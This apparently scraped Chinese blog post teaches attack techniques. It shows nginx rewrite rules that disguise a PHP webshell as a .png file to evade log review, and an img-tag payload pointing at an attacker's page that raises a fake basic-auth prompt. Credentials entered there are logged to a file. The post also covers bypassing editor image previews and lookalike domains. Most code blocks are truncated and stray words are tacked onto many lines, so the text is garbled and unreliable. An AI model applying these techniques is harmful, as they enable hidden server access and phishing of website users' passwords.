你們都知道apache,nginx等有rewrite的功能,經過rewrite規則能夠把輸入的URL轉換成另外一個URL,這是咱們常見的一種需求,可讓咱們的url變得更加簡潔。可是其實這個功能也可被用於一些別的目的。下面就簡單的介紹一下。php
關於經過配置文件作後門已經有不少文章有了介紹,即.htaccess和.user.ini文件構造後門,關於.htaccess後門能夠看這裏,user.ini後門P牛也發過一篇文章,能夠看這裏,固然還有檸檬師傅的php.ini構成的後門。那麼跟rewrite有什麼關係呢。其實rewrite主要是爲了逃避日誌審查
,經過rewrite,咱們能夠經過訪問一個圖片後綴的文件來執行咱們的webshell,可是修改這些配置文件須要必定的權限
。下面來進行一下簡單的介紹。測試的時候主要是使用nginx,因此對nginx進行一下介紹,關於apache的配置有興趣能夠本身去查一波。下面是個人配置:
ngingx.confcss
1 |
worker_processes 1; |
配置了多個域名的配置,因此針對某個域名的配置文件在vhosts裏面,要配置的域名的配置文件:mydomain.confhtml
1 |
server { |
要配置重定向很簡單,只須要加入nginx
1 |
location ~ \.png$ { |
意思是匹配以png結尾的url,若是匹配到 img/test.png,則重定向到 img/test.php,因此,只須要在img目錄下存放test.php,咱們就能夠經過訪問 http://domain.com/img/test.png來訪問。以下圖:git
關於更多匹配的規則,能夠看這篇文章。github
配置完須要重啓nginx服務。web
關於基礎認證釣魚,其實很早以前就已經有文章介紹過了,好比如何製做基礎認證釣魚頁面。其實原理就是在頁面中插入一個php的img,即:shell
1 |
<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>> |
php的代碼就是401的驗證,當用戶打開這個頁面的時候,因爲請求了http://site.com/1.php,因此會彈出驗證的頁面,用戶輸入帳號密碼以後,密碼則會被攻擊者記錄。apache
注:這種方法適用於Firefox和IE瀏覽器,Chrome並不會彈出基礎認證窗口。瀏覽器
爲了讓此攻擊達到更好地隱蔽效果,咱們可使用rewrite來重寫url。則使得訪問的連接文件後綴爲一個圖片。爲了達到更好地攻擊效果,寫了如下php代碼:
1 |
|
代碼的功能就是彈出認證窗口,等待用戶輸入,並將輸入的帳號密碼存到count.txt,若是此用戶輸入已達3次(一次輸入多是隨便輸入的帳號密碼),則輸出正常圖片。演示以下:
固然,你能夠本身定義其餘功能,好比將帳號密碼發送到郵箱等等。
php代碼寫好了,怎麼利用呢?
其實咱們要作到就是找各類編輯器,找那種能夠遠程插入圖片的,而後插入咱們的連接,若是網站直接把連接插入網站,那麼在加載的時候,就會加載咱們的驗證頁面。rewrite除了可讓後綴看起來是一個圖片文件,其實還能夠對一些編輯器進行繞過,好比插入遠程圖片的時候,編輯器對圖片進行預覽:
碰到這種狀況,咱們能夠首先使用默認配置的nginx插入圖片,以下圖:
插入成功並提交之後,再從新修改rewrite。這樣能夠進行一些繞過。某種情景的攻擊以下:
demo:
爲了達到更好地效果。攻擊者能夠註冊一個看起來受信任的域名。好比說,若是攻擊者的目標是targetdomain.com,那麼他就能夠註冊以下的相似地址:
1 |
targetdomain.co |